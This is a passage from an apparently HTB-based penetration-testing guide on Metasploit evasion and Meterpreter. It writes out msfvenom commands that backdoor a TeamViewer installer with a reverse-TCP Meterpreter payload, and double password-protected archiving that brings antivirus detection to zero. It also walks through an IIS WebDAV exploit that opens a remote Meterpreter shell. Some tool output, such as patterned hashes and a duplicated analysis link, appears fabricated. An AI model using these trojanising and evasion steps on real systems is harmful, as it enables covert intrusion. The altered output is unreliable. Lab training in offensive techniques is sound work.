8.3.3.14 TR/Patched.Gen2 20220505 Baidu false 1.0.0.2 20190318 BitDefender true 7.2 Trojan.CryptZ.Gen 20220505 BitDefenderTheta true 7.2.37796.0 Gen:NN.ZexaF.34638.eq1@aC@Q!ici 20220428 Bkav true 1.3.0.9899 W32.FamVT.RorenNHc.Trojan 20220505 CAT-QuickHeal true 14.00 Trojan.Swrort.A 20220505 CMC false 2.10.2019.1 20211026 ClamAV true 0.105.0.0 Win.Trojan.MSShellcode-6360728-0 20220505 Comodo true 34592 TrojWare.Win32.Rozena.A@4jwdqr 20220505 CrowdStrike true 1.0 win/malicious_confidence_100% (D) 20220418 Cylance true 2.3.1.101 Unsafe 20220505 Cynet true 4.0.0.27 Malicious (score: 100) 20220505 Cyren true 6.5.1.2 W32/Swrort.A.gen!Eldorado 20220505 DrWeb true 7.0.56.4040 Trojan.Swrort.1 20220505 ESET-NOD32 true 25218 a variant of Win32/Rozena.AA 20220505 Elastic true 4.0.36 malicious (high confidence) 20220503 Emsisoft true 2021.5.0.7597 Trojan.CryptZ.Gen (B) 20220505 F-Secure false 18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t 20220505 FireEye true 35.24.1.0 Generic.mg.4f54cc46e2f55be1 20220505 Fortinet true 6.2.142.0 MalwThreat!0971IV 20220505 GData true A:25.32960B:27.27244 Trojan.CryptZ.Gen 20220505 Gridinsoft true 1.0.77.174 Trojan.Win32.Swrort.zv!s2 20220505 Ikarus true 6.0.24.0 Trojan.Win32.Swrort 20220505 Jiangmin false 16.0.100 20220504 K7AntiVirus true 12.10.42191 Trojan ( 001172b51 ) 20220505 K7GW true 12.10.42191 Trojan ( 001172b51 ) 20220505 Kaspersky true 21.0.1.45 HEUR:Trojan.Win32.Generic 20220505 Kingsoft false 2017.9.26.565 20220505 Lionic false 7.5 20220505 MAX true 2019.9.16.1 malware (ai score=89) 20220505 Malwarebytes true 4.2.2.27 Trojan.Rozena 20220505 MaxSecure true 1.0.0.1 Trojan.Malware.300983.susgen 20220505 McAfee true 6.0.6.653 Swrort.i 20220505 McAfee-GW-Edition true v2019.1.2+3728 BehavesLike.Win32.Swrort.lh 20220505 MicroWorld-eScan true 14.0.409.0 Trojan.CryptZ.Gen 20220505 Microsoft true 1.1.19200.5 Trojan:Win32/Meterpreter.A 20220505 NANO-Antivirus true 1.0.146.25588 Virus.Win32.Gen-Crypt.ccnc 20220505 Paloalto false 0.9.0.1003 20220505 Panda false 4.6.4.2 20220504 Rising true 25.0.0.27 Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1) 20220505 SUPERAntiSpyware true 5.6.0.1032 Trojan.Backdoor-Shell 20220430 Sangfor true 2.14.0.0 Trojan.Win32.Save.a 20220415 SentinelOne true 22.2.1.2 Static AI - Malicious PE 20220330 Sophos true 1.4.1.0 ML/PE-A + Mal/EncPk-ACE 20220505 Symantec true 1.17.0.0 Packed.Generic.347 20220505 TACHYON false 2022-05-05.02 20220505 Tencent true 1.0.0.1 Trojan.Win32.Cryptz.za 20220505 TrendMicro true 11.0.0.1006 BKDR_SWRORT.SM 20220505 TrendMicro-HouseCall true 10.0.0.1040 BKDR_SWRORT.SM 20220505 VBA32 false 5.0.0 20220505 ViRobot true 2014.3.20.0 Trojan.Win32.Elzob.Gen 20220504 VirIT false 9.5.188 20220504 Webroot false 1.0.0.403 20220505 Yandex true 5.5.2.24 Trojan.Rosena.Gen.1 20220428 Zillya false 2.0.0.4625 20220505 ZoneAlarm true 1.0 HEUR:Trojan.Win32.Generic 20220505 Zoner false 2.2.2.0 20220504 tehtris false v0.1.2 20220505 ``` As expected, most anti-virus products that we will encounter in the wild would still detect this payload so we would have to use other methods for AV evasion that are outside the scope of this module. # Firewall and IDS/IPS Evasion Source: https://hackbook.dudji.com/tools/exploitation-frameworks/metasploit/evasion Endpoint protection, perimeter defense, detection evasion, and AV bypass techniques. ## Firewall and IDS/IPS Evasion To better learn how we can efficiently and quietly attack a target, we first need to understand better how that target is defended. We are introduced to two new terms: * Endpoint protection * Perimeter protection ## Endpoint Protection Endpoint protection refers to any localized device or service whose sole purpose is to protect a single host on the network. The host can be a personal computer, a corporate workstation, or a server in a network's De-Militarized Zone (DMZ). Endpoint protection usually comes in the form of software packs which include Antivirus Protection, Antimalware Protection (this includes bloatware, spyware, adware, scareware, ransomware), Firewall, and Anti-DDOS all in one, under the same software package. We are better familiarized with this form than the latter, as most of us are running endpoint protection software on our PCs at home or the workstations at our workplace. Avast, Nod32, Malwarebytes, and BitDefender are just some current names. ## Perimeter Protection Perimeter protection usually comes in physical or virtualized devices on the network perimeter edge. These edge devices themselves provide access inside of the network from the outside, in other terms, from public to private. Between these two zones, on some occasions, we will also find a third one, called the De-Militarized Zone (DMZ), which was mentioned previously. This is a lower-security policy level zone than the inside networks' one, but with a higher trust level than the outside zone, which is the vast Internet. This is the virtual space where public-facing servers are housed, which push and pull data for public clients from the Internet but are also managed from the inside and updated with patches, information, and other data to keep the served information up to date and satisfy the customers of the servers. ## Security Policies Security policies are the drive behind every well-maintained security posture of any network. They function the same way as ACL (Access Control Lists) do for anyone familiar with the Cisco CCNA educational material. They are essentially a list of allow and deny statements that dictate how traffic or files can exist within a network boundary. Multiple lists can act upon multiple network parts, allowing for flexibility within a configuration. These lists can also target different features of the network and hosts, depending on where they reside: * Network Traffic Policies * Application Policies * User Access Control Policies * File Management Policies * DDoS Protection Policies * Others While not all of these categories above might have the words "Security Policy" attached to them, all of the security mechanisms around them operate on the same basic principle, the allow and deny entries. The only difference is the object target they refer to and apply to. So the question remains, how do we match events in the network with these rules so that the actions mentioned earlier can be taken? There are multiple ways to match an event or object with a security policy entry: | Security Policy | Description | | ----------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Signature-based Detection | The operation of packets in the network and comparison with pre-built and pre-ordained attack patterns known as signatures. Any 100% match against these signatures will generate alarms. | | Heuristic / Statistical Anomaly Detection | Behavioral comparison against an established baseline included modus-operandi signatures for known APTs (Advanced Persistent Threats). The baseline will identify the norm for the network and what protocols are commonly used. Any deviation from the maximum threshold will generate alarms. | | Stateful Protocol Analysis Detection | Recognizing the divergence of protocols stated by event comparison using pre-built profiles of generally accepted definitions of non-malicious activity. | | Live-monitoring and Alerting (SOC-based) | A team of analysts in a dedicated, in-house, or leased SOC (Security Operations Center) use live-feed software to monitor network activity and intermediate alarming systems for any potential threats, either deciding themselves if the threat should be actioned upon or letting the automated mechanisms take action instead. | ## Evasion Techniques Most host-based anti-virus software nowadays relies mainly on Signature-based Detection to identify aspects of malicious code present in a software sample. These signatures are placed inside the Antivirus Engine, where they are subsequently used to scan storage space and running processes for any matches. When a piece of unknown software lands on a partition and is matched by the Antivirus software, most Anti-viruses quarantine the malicious program and kill the running process. How do we circumvent all this heat? We play along with it. The examples shown in the Encoders section show that simply encoding payloads using different encoding schemes with multiple iterations is not enough for all AV products. Moreover, merely establishing a channel of communication between the attacker and the victim can raise some alarms with the current capabilities of IDS/IPS products out there. However, with the MSF6 release, msfconsole can tunnel AES-encrypted communication from any Meterpreter shell back to the attacker host, successfully encrypting the traffic as the payload is sent to the victim host. This mostly takes care of the network-based IDS/IPS. In some rare cases, we might be met with very strict traffic rulesets that flag our connection based on the sender's IP address. The only way to circumvent this is to find the services being let through. An excellent example of this would be the Equifax hack of 2017, where malicious hackers have abused the Apache Struts vulnerability to access a network of critical data servers. DNS exfiltration techniques were used to slowly siphon data out of the network and into the hackers' domain without being noticed for months. Returning to msfconsole, its capability to now sustain AES-encrypted tunnels, together with Meterpreter's feature of running in memory, raises our capability by a margin. However, we still have the issue of what happens to a payload once it reaches its destination, before it is run and placed into memory. This file could be fingerprinted for its signature, matched against the database, and blocked, together with our chances of accessing the target. We can also be sure that AV software developers are looking at msfconsole modules and capabilities to add the resulting code and files to their signature database, resulting in most if not all of the default payloads being immediately shut down by AV software nowadays. We are in luck because msfvenom offers the option of using executable templates. This allows us to use some pre-set templates for executable files, inject our payload into them (no pun intended), and use any executable as a platform from which we can launch our attack. We can embed the shellcode into any installer, package, or program that we have at hand, hiding the payload shellcode deep within the legitimate code of the actual product. This greatly obfuscates our malicious code and, more importantly, lowers our detection chances. There are many valid combinations between actual, legitimate executable files, our different encoding schemes (and their iterations), and our different payload shellcode variants. This generates what is called a backdoored executable. ### Backdoored Executable Take a look at the snippet below to understand how msfvenom can embed payloads into any executable file: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -x ~/Downloads/TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 5 Attempting to read payload from STDIN... Found 1 compatible encoders Attempting to encode payload with 5 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 27 (iteration=0) x86/shikata_ga_nai succeeded with size 54 (iteration=1) x86/shikata_ga_nai succeeded with size 81 (iteration=2) x86/shikata_ga_nai succeeded with size 108 (iteration=3) x86/shikata_ga_nai succeeded with size 135 (iteration=4) x86/shikata_ga_nai chosen with final size 135 Payload size: 135 bytes Saved as: /home/user/Desktop/TeamViewer_Setup.exe Dudji@htb[/htb]$ ls Pictures-of-cats.tar.gz TeamViewer_Setup.exe Cake_recipes ``` For the most part, when a target launches a backdoored executable, nothing will appear to happen, which can raise suspicions in some cases. To improve our chances, we need to trigger the continuation of the normal execution of the launched application while pulling the payload in a separate thread from the main application. We do so with the `-k` flag as it appears above. However, even with the `-k` flag running, the target will only notice the running backdoor if they launch the backdoored executable template from a CLI environment. If they do so, a separate window will pop up with the payload, which will not close until we finish running the payload session interaction on the target. ## Archives Archiving a piece of information such as a file, folder, script, executable, picture, or document and placing a password on the archive bypasses a lot of common anti-virus signatures today. However, the downside of this process is that they will be raised as notifications in the AV alarm dashboard as being unable to be scanned due to being locked with a password. An administrator can choose to manually inspect these archives to determine if they are malicious or not. ### Generating Payload ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5 Attempting to read payload from STDIN... Found 1 compatible encoders Attempting to encode payload with 5 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 27 (iteration=0) x86/shikata_ga_nai succeeded with size 54 (iteration=1) x86/shikata_ga_nai succeeded with size 81 (iteration=2) x86/shikata_ga_nai succeeded with size 108 (iteration=3) x86/shikata_ga_nai succeeded with size 135 (iteration=4) x86/shikata_ga_nai chosen with final size 135 Payload size: 135 bytes Saved as: /home/user/test.js Dudji@htb[/htb]$ cat test.js +n" t$ G4ɱ1zz j V6 ic o Bs> Z* 9vt % 1 <...SNIP...> Qa* ޴ RW %Š.\ =;.l T XF T ``` ### VirusTotal - Initial Detection ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ msf-virustotal -k -f test.js [*] WARNING: When you upload or otherwise submit content, you give VirusTotal [*] (and those we work with) a worldwide, royalty free, irrevocable and transferable [*] licence to use, edit, host, store, reproduce, modify, create derivative works, [*] communicate, publish, publicly perform, publicly display and distribute such [*] content. To read the complete Terms of Service for VirusTotal, please go to the [*] following link: [*] https://www.virustotal.com/en/about/terms-of-service/ [*] [*] If you prefer your own API key, you may obtain one at VirusTotal. [*] Enter 'Y' to acknowledge: Y [*] Using API key: [*] Please wait while I upload test.js... [*] VirusTotal: Scan request successfully queued, come back later for the report [*] Sample MD5 hash : 35e7687f0793dc3e048d557feeaf615a [*] Sample SHA1 hash : f2f1c4051d8e71df0741b40e4d91622c4fd27309 [*] Sample SHA256 hash : 08799c1b83de42ed43d86247ebb21cca95b100f6a45644e99b339422b7b44105 [*] Analysis link: https://www.virustotal.com/gui/file//detection/f--1652167047 [*] Requesting the report... [*] Received code 0. Waiting for another 60 seconds... [*] Analysis Report: test.js (11 / 59): <...SNIP...> ==================================================================================================== | Antivirus | Detected | Version | Result | Update | | --------- | -------- | ------- | ------ | ------ | | ALYac | true | 1.1.3.1 | Exploit.Metacoder.Shikata.Gen | 20220510 | | AVG | true | 21.1.5827.0 | Win32:ShikataGaNai-A [Trj] | 20220510 | | Acronis | false | 1.2.0.108 | | 20220426 | | Ad-Aware | true | 3.0.21.193 | Exploit.Metacoder.Shikata.Gen | 20220510 | | AhnLab-V3 | false | 3.21.3.10230 | | 20220510 | | Antiy-AVL | false | 3.0 | | 20220510 | | Arcabit | false | 1.0.0.889 | | 20220510 | | Avast | true | 21.1.5827.0 | Win32:ShikataGaNai-A [Trj] | 20220510 | | Avira | false | 8.3.3.14 | | 20220510 | | Baidu | false | 1.0.0.2 | | 20190318 | | BitDefender | true | 7.2 | Exploit.Metacoder.Shikata.Gen | 20220510 | | BitDefenderTheta | false | 7.2.37796.0 | | 20220428 | | Bkav | false | 1.3.0.9899 | | 20220509 | | CAT-QuickHeal | false | 14.00 | | 20220510 | | CMC | false | 2.10.2019.1 | | 20211026 | | ClamAV | true | 0.105.0.0 | Win.Trojan.MSShellcode-6360729-0 | 20220509 | | Comodo | false | 34607 | | 20220510 | | Cynet | false | 4.0.0.27 | | 20220510 | | Cyren | false | 6.5.1.2 | | 20220510 | | DrWeb | false | 7.0.56.4040 | | 20220510 | | ESET-NOD32 | false | 25243 | | 20220510 | | Emsisoft | true | 2021.5.0.7597 | Exploit.Metacoder.Shikata.Gen (B) | 20220510 | | F-Secure | false | 18.10.978.51 | | 20220510 | | FireEye | true | 35.24.1.0 | Exploit.Metacoder.Shikata.Gen | 20220510 | | Fortinet | false | 6.2.142.0 | | 20220510 | | GData | true | A:25.33002B:27.27300 | Exploit.Metacoder.Shikata.Gen | 20220510 | | Gridinsoft | false | 1.0.77.174 | | 20220510 | | Ikarus | false | 6.0.24.0 | | 20220509 | | Jiangmin | false | 16.0.100 | | 20220509 | | K7AntiVirus | false | 12.12.42275 | | 20220510 | | K7GW | false | 12.12.42275 | | 20220510 | | Kaspersky | false | 21.0.1.45 | | 20220510 | | Kingsoft | false | 2017.9.26.565 | | 20220510 | | Lionic | false | 7.5 | | 20220510 | | MAX | true | 2019.9.16.1 | malware (ai score=89) | 20220510 | | Malwarebytes | false | 4.2.2.27 | | 20220510 | | MaxSecure | false | 1.0.0.1 | | 20220510 | | McAfee | false | 6.0.6.653 | | 20220510 | | McAfee-GW-Edition | false | v2019.1.2+3728 | | 20220510 | | MicroWorld-eScan | true | 14.0.409.0 | Exploit.Metacoder.Shikata.Gen | 20220510 | | Microsoft | false | 1.1.19200.5 | | 20220510 | | NANO-Antivirus | false | 1.0.146.25588 | | 20220510 | | Panda | false | 4.6.4.2 | | 20220509 | | Rising | false | 25.0.0.27 | | 20220510 | | SUPERAntiSpyware | false | 5.6.0.1032 | | 20220507 | | Sangfor | false | 2.14.0.0 | | 20220507 | | Sophos | false | 1.4.1.0 | | 20220510 | | Symantec | false | 1.17.0.0 | | 20220510 | | TACHYON | false | 2022-05-10.02 | | 20220510 | | Tencent | false | 1.0.0.1 | | 20220510 | | TrendMicro | false | 11.0.0.1006 | | 20220510 | | TrendMicro-HouseCall | false | 10.0.0.1040 | | 20220510 | | VBA32 | false | 5.0.0 | | 20220506 | | ViRobot | false | 2014.3.20.0 | | 20220510 | | VirIT | false | 9.5.191 | | 20220509 | | Yandex | false | 5.5.2.24 | | 20220428 | | Zillya | false | 2.0.0.4627 | | 20220509 | | ZoneAlarm | false | 1.0 | | 20220510 | | Zoner | false | 2.2.2.0 | | 20220509 | ``` ### Archiving the Payload ### Archiving the Payload ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz Dudji@htb[/htb]$ tar -xzvf rarlinux-x64-612.tar.gz && cd rar Dudji@htb[/htb]$ rar a ~/test.rar -p ~/test.js Enter password (will not be echoed): ****** Reenter password: ****** RAR 5.50 Copyright (c) 1993-2017 Alexander Roshal 11 Aug 2017 Trial version Type 'rar -?' for help Evaluation copy. Please register. Creating archive test.rar Adding test.js OK Done Dudji@htb[/htb]$ ls test.js test.rar ``` ### Removing the Extension ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ mv test.rar test Dudji@htb[/htb]$ ls test test.js ``` ### Archiving Again ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ rar a test2.rar -p test Enter password (will not be echoed): ****** Reenter password: ****** RAR 5.50 Copyright (c) 1993-2017 Alexander Roshal 11 Aug 2017 Trial version Type 'rar -?' for help Evaluation copy. Please register. Creating archive test2.rar Adding test OK Done Dudji@htb[/htb]$ mv test2.rar test2 Dudji@htb[/htb]$ ls test test2 test.js ``` The `test2` file is the final `.rar` archive with the extension deleted from the name. After that, we can proceed to upload it on VirusTotal for another check. The results show dramatically reduced detection rates compared to the original payload. ### VirusTotal - Double-Archived Detection ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ msf-virustotal -k -f test2 [*] WARNING: When you upload or otherwise submit content, you give VirusTotal [*] (and those we work with) a worldwide, royalty free, irrevocable and transferable [*] licence to use, edit, host, store, reproduce, modify, create derivative works, [*] communicate, publish, publicly perform, publicly display and distribute such [*] content. To read the complete Terms of Service for VirusTotal, please go to the [*] following link: [*] https://www.virustotal.com/en/about/terms-of-service/ [*] [*] If you prefer your own API key, you may obtain one at VirusTotal. [*] Enter 'Y' to acknowledge: Y [*] Using API key: [*] Please wait while I upload test2... [*] VirusTotal: Scan request successfully queued, come back later for the report [*] Sample MD5 hash : 8b67a36de6eedcb6e0f1c4d5f8e6b9a2 [*] Sample SHA1 hash : d4c3b2a1e9f8d7c6b5a4932e1f0c9b8a7d6e5f4c [*] Sample SHA256 hash : c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4 [*] Analysis link: https://www.virustotal.com/gui/file//detection/f--1652167047 [*] Requesting the report... [*] Received code 0. Waiting for another 60 seconds... [*] Analysis Report: test2 (0 / 49): <...SNIP...> ==================================================================================================== | Antivirus | Detected | Version | Result | Update | | --------- | -------- | ------- | ------ | ------ | | ALYac | false | 1.1.3.1 | | 20220510 | | AVG | false | 21.1.5827.0 | | 20220510 | | Acronis | false | 1.2.0.108 | | 20220426 | | Ad-Aware | false | 3.0.21.193 | | 20220510 | | AhnLab-V3 | false | 3.21.3.10230 | | 20220510 | | Antiy-AVL | false | 3.0 | | 20220510 | | Arcabit | false | 1.0.0.889 | | 20220510 | | Avast | false | 21.1.5827.0 | | 20220510 | | Avira | false | 8.3.3.14 | | 20220510 | | Baidu | false | 1.0.0.2 | | 20190318 | | BitDefender | false | 7.2 | | 20220510 | | BitDefenderTheta | false | 7.2.37796.0 | | 20220428 | | Bkav | false | 1.3.0.9899 | | 20220509 | | CAT-QuickHeal | false | 14.00 | | 20220510 | | CMC | false | 2.10.2019.1 | | 20211026 | | ClamAV | false | 0.105.0.0 | | 20220509 | | Comodo | false | 34607 | | 20220510 | | Cynet | false | 4.0.0.27 | | 20220510 | | Cyren | false | 6.5.1.2 | | 20220510 | | DrWeb | false | 7.0.56.4040 | | 20220510 | | ESET-NOD32 | false | 25243 | | 20220510 | | Emsisoft | false | 2021.5.0.7597 | | 20220510 | | F-Secure | false | 18.10.978.51 | | 20220510 | | FireEye | false | 35.24.1.0 | | 20220510 | | Fortinet | false | 6.2.142.0 | | 20220510 | | GData | false | A:25.33002B:27.27300 | | 20220510 | | Gridinsoft | false | 1.0.77.174 | | 20220510 | | Ikarus | false | 6.0.24.0 | | 20220509 | | Jiangmin | false | 16.0.100 | | 20220509 | | K7AntiVirus | false | 12.12.42275 | | 20220510 | | K7GW | false | 12.12.42275 | | 20220510 | | Kaspersky | false | 21.0.1.45 | | 20220510 | | Kingsoft | false | 2017.9.26.565 | | 20220510 | | Lionic | false | 7.5 | | 20220510 | | MAX | false | 2019.9.16.1 | | 20220510 | | Malwarebytes | false | 4.2.2.27 | | 20220510 | | MaxSecure | false | 1.0.0.1 | | 20220510 | | McAfee | false | 6.0.6.653 | | 20220510 | | McAfee-GW-Edition | false | v2019.1.2+3728 | | 20220510 | | MicroWorld-eScan | false | 14.0.409.0 | | 20220510 | | Microsoft | false | 1.1.19200.5 | | 20220510 | | NANO-Antivirus | false | 1.0.146.25588 | | 20220510 | | Panda | false | 4.6.4.2 | | 20220509 | | Rising | false | 25.0.0.27 | | 20220510 | | SUPERAntiSpyware | false | 5.6.0.1032 | | 20220507 | | Sangfor | false | 2.14.0.0 | | 20220507 | | Sophos | false | 1.4.1.0 | | 20220510 | | Symantec | false | 1.17.0.0 | | 20220510 | | TACHYON | false | 2022-05-10.02 | | 20220510 | | Tencent | false | 1.0.0.1 | | 20220510 | ``` ## Packers The term Packer refers to the result of an executable compression process where the payload is packed together with an executable program and with the decompression code in one single file. When run, the decompression code returns the backdoored executable to its original state, allowing for yet another layer of protection against file scanning mechanisms on target hosts. This process takes place transparently for the compressed executable to be run the same way as the original executable while retaining all of the original functionality. In addition, msfvenom provides the ability to compress and change the file structure of a backdoored executable and encrypt the underlying process structure. ### Popular Packer Software | | | | | -------------------- | -------------------- | -------- | | UPX packer | The Enigma Protector | MPRESS | | Alternate EXE Packer | ExeStealth | Morphine | | MEW | Themida | | For more information about packers, check out the PolyPack project. ## Exploit Coding When coding our exploit or porting a pre-existing one over to the Framework, it is good to ensure that the exploit code is not easily identifiable by security measures implemented on the target system. For example, a typical Buffer Overflow exploit might be easily distinguished from regular traffic traveling over the network due to its hexadecimal buffer patterns. IDS / IPS placements can check the traffic towards the target machine and notice specific overused patterns for exploiting code. When assembling our exploit code, randomization can help add some variation to those patterns, which will break the IPS / IDS database signatures for well-known exploit buffers. This can be done by inputting an Offset switch inside the code for the msfconsole module: ```ruby theme={"theme":{"light":"github-light","dark":"tokyo-night"}} 'Targets' => [ [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29, 'Offset' => 5093 } ], ], ``` Besides the BoF code, one should always avoid using obvious NOP sleds where the shellcode should land after the overflow is completed. Please note that the BoF code's purpose is to crash the service running on the target machine, while the NOP sled is the allocated memory where our shellcode (the payload) is inserted. IPS/IDS entities regularly check both of these, so it is good to test our custom exploit code against a sandbox environment before deploying it on the client network. Of course, we might only have one chance to do this correctly during an assessment. For more information about exploit coding, we recommend checking out the Metasploit - The Penetration Tester's Guide book from No Starch Press. They delve into quite some detail about creating our exploits for the Framework. Intrusion Prevention Systems and Antivirus Engines are the most common defender tools that can shoot down an initial foothold on the target. These mainly function on signatures of the whole malicious file or the stub stage. ## A Note on Evasion This section covers evasion at a high level. Be on the lookout for later modules that will dig deeper into the theory and practical knowledge needed to perform evasion more effectively. It is worth trying some of these techniques out on older HTB machines or installing a VM with older versions of Windows Defender or free AV engines, and practicing evasion skills. This is a vast topic that cannot be covered adequately in a single section. # Metasploit Source: https://hackbook.dudji.com/tools/exploitation-frameworks/metasploit/index Exploitation framework usage, split into focused sections. This guide is now split into smaller pages for faster loading and easier navigation. Module types, searching, targeting, and baseline msfconsole workflow. Singles, stagers, stages, payload search, and selection strategy. Payload generation, encoding, and real-world deployment workflows. SGN, msfvenom encoding, and VirusTotal detection reality checks. Session management, backgrounding exploits, and job control. Meterpreter payload, post-exploitation workflows, and privilege escalation. Endpoint protection, perimeter defense, detection evasion, and AV bypass. Plugin installation, Nessus integration, and framework customization. # Meterpreter Source: https://hackbook.dudji.com/tools/exploitation-frameworks/metasploit/meterpreter Meterpreter payload, post-exploitation, and privilege escalation workflows. ## Meterpreter The Meterpreter Payload is a specific type of multi-faceted, extensible Payload that uses DLL injection to ensure the connection to the victim host is stable and difficult to detect using simple checks and can be configured to be persistent across reboots or system changes. Furthermore, Meterpreter resides entirely in the memory of the remote host and leaves no traces on the hard drive, making it difficult to detect with conventional forensic techniques. It is dubbed the swiss army knife of pentesting, and for a good reason. The purpose of Meterpreter is to specifically improve our post-exploitation procedures, offering us a hand-picked set of relevant tools for more straightforward enumeration of the target host from the inside. It can help us find various privilege escalation techniques, AV evasion techniques, further vulnerability research, provide persistent access, pivot, etc. ## Running Meterpreter To run Meterpreter, we only need to select any version of it from the show payloads output, taking into consideration the type of connection and OS we are attacking. Whenever the Meterpreter Payload is sent and run on the target system, we receive a Meterpreter shell. We can then immediately issue the help command to see what the Meterpreter shell is capable of. ## Using Meterpreter We have already delved into the basics of Meterpreter in the Payloads section. Now, we will look at the real strengths of the Meterpreter shell and how it can bolster the assessment's effectiveness and save time during an engagement. We start by running a basic scan against a known target. We will do this a-la-carte, doing everything from inside msfconsole to benefit from the data tracking on our target. ### MSF - Scanning Target ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 > db_nmap -sV -p- -T5 -A 10.10.10.15 [*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-03 09:55 UTC [*] Nmap: Nmap scan report for 10.10.10.15 [*] Nmap: Host is up (0.021s latency). [*] Nmap: Not shown: 65534 filtered ports [*] Nmap: PORT STATE SERVICE VERSION [*] Nmap: 80/tcp open http Microsoft IIS httpd 6.0 [*] Nmap: | http-methods: [*] Nmap: |_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT [*] Nmap: |_http-server-header: Microsoft-IIS/6.0 [*] Nmap: |_http-title: Under Construction [*] Nmap: | http-webdav-scan: [*] Nmap: | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH [*] Nmap: | WebDAV type: Unknown [*] Nmap: | Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK [*] Nmap: | Server Date: Thu, 03 Sep 2020 09:56:46 GMT [*] Nmap: |_ Server Type: Microsoft-IIS/6.0 [*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows [*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 59.74 seconds msf6 > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 10.10.10.15 Unknown device msf6 > services Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 10.10.10.15 80 tcp http open Microsoft IIS httpd 6.0 ``` However, looking at both the end of the webpage and the result of the Nmap scan more closely, we notice that the server is running Microsoft IIS httpd 6.0. So we further our research in that direction, searching for common vulnerabilities for this version of IIS. After some searching, we find the following marker for a widespread vulnerability: CVE-2017-7269. It also has a Metasploit module developed for it. ### MSF - Searching for Exploit ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 > search iis_webdav_upload_asp Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/iis/iis_webdav_upload_asp 2004-12-31 excellent No Microsoft IIS WebDAV Write Access Code Execution ``` We proceed to set the needed parameters. For now, these would be LHOST and RHOST as everything else on the target seems to be running the default configuration. ### MSF - Configuring Exploit & Payload ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(windows/iis/iis_webdav_upload_asp) > set RHOST 10.10.10.15 RHOST => 10.10.10.15 msf6 exploit(windows/iis/iis_webdav_upload_asp) > set LHOST tun0 LHOST => tun0 msf6 exploit(windows/iis/iis_webdav_upload_asp) > run [*] Started reverse TCP handler on 10.10.14.26:4444 [*] Checking /metasploit28857905.asp [*] Uploading 612435 bytes to /metasploit28857905.txt... [*] Moving /metasploit28857905.txt to /metasploit28857905.asp... [*] Executing /metasploit28857905.asp... [*] Sending stage (175174 bytes) to 10.10.10.15 [*] Deleting /metasploit28857905.asp (this doesn't always work)... [!] Deletion failed on /metasploit28857905.asp [403 Forbidden] [*] Meterpreter session 1 opened (10.10.14.26:4444 -> 10.10.10.15:1030) at 2020-09-03 10:10:21 +0000 meterpreter > ``` We have our Meterpreter shell. However, take a close look at the output above. We can see a `.asp` file named metasploit28857905 exists on the target system at this very moment. Once the Meterpreter shell is obtained, as mentioned before, it will reside within memory. Therefore, the file is not needed, and removal was attempted by msfconsole, which failed due to access permissions. Leaving traces like these is not beneficial to the attacker and creates a huge liability. From the sysadmin's perspective, finding files that match this name type or slight variations of it can prove beneficial to stopping an attack in the middle of its tracks. Targeting regex matches against filenames or signatures as above will not even allow an attacker to spawn a Meterpreter shell before being cut down by the correctly configured security measures. We proceed further with our exploits. Upon attempting to see which user we are running on, we get an access denied message. We should try migrating our process to a user with more privilege. ### Privilege Escalation with Local Exploit Suggester We can easily decide to run the local exploit suggester module, attaching it to the currently active Meterpreter session. To do so, we background the current Meterpreter session, search for the module we need, and set the SESSION option to the index number for the Meterpreter session, binding the module to it. ### MSF - Session Handling ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} meterpreter > bg Background session 1? [y/N] y msf6 exploit(windows/iis/iis_webdav_upload_asp) > search local_exploit_suggester Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester msf6 exploit(windows/iis/iis_webdav_upload_asp) > use 0 msf6 post(multi/recon/local_exploit_suggester) > show options Module options (post/multi/recon/local_exploit_suggester): Name Current Setting Required Description ---- --------------- -------- ----------- 